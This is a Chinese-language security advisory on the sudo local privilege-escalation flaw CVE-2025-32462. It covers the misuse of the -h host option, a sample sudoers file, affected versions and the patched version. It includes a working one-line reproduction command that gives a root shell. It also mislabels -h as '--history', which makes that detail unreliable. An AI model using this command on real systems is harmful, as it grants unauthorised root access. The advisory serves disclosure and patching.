sudo本地提权漏洞(CVE-2025-32462)
文章目录
- 影响组件
- 漏洞分析
- 漏洞复现
- 影响版本
- 漏洞修复
影响组件
Linux 是一种免费开源的类 Unix 操作系统,广泛应用于服务器、嵌入式设备及云计算领域。Sudo 是一款在类 Unix 系统中用于允许授权用户以其他用户(通常是超级用户)的安全权限执行命令的工具,广泛应用于系统管理和运维过程中。它提供了灵活的访问控制机制,允许系统管理员精细地控制哪些用户可以执行哪些命令,以及在何种条件下执行。
漏洞分析
sudo -h (–history):该选项设计初衷是仅与 -l(–list)配合,用于查询用户在远程主机的sudo 权限(例:sudo -l -h dev-server)。
Sudo 未限制 -h 与其他命令(如 sudoedit 或执行命令)的组合使用。当攻击者执行 sudo -h rogue-host COMMAND 时,Sudo 错误地使用 rogue-host 的主机名匹配本地 sudoers 规则,而非当前真实主机名。
执行 sudo -h dev.test.local id 后,Sudo 错误地将本地主机视为 dev.test.local,从而允许执行命令。
# sudoers 文件示例(分发至多台主机)
Host_Alias DEV = dev.test.local
Host_Alias PROD = prod.test.local
lowpriv DEV = ALL # 允许在dev主机执行所有命令
lowpriv PROD = !ALL # 明确禁止在prod主机执行命令
漏洞复现
查看当前权限,普通用户
执行
sudo -i -h dev.test.local
成功提权
影响版本
1.9.0 <= sudo <= 1.9.17
1.8.8 <= sudo <= 1.8.32
漏洞修复
升级到官方更新的安全版本:sudo >= 1.9.17p1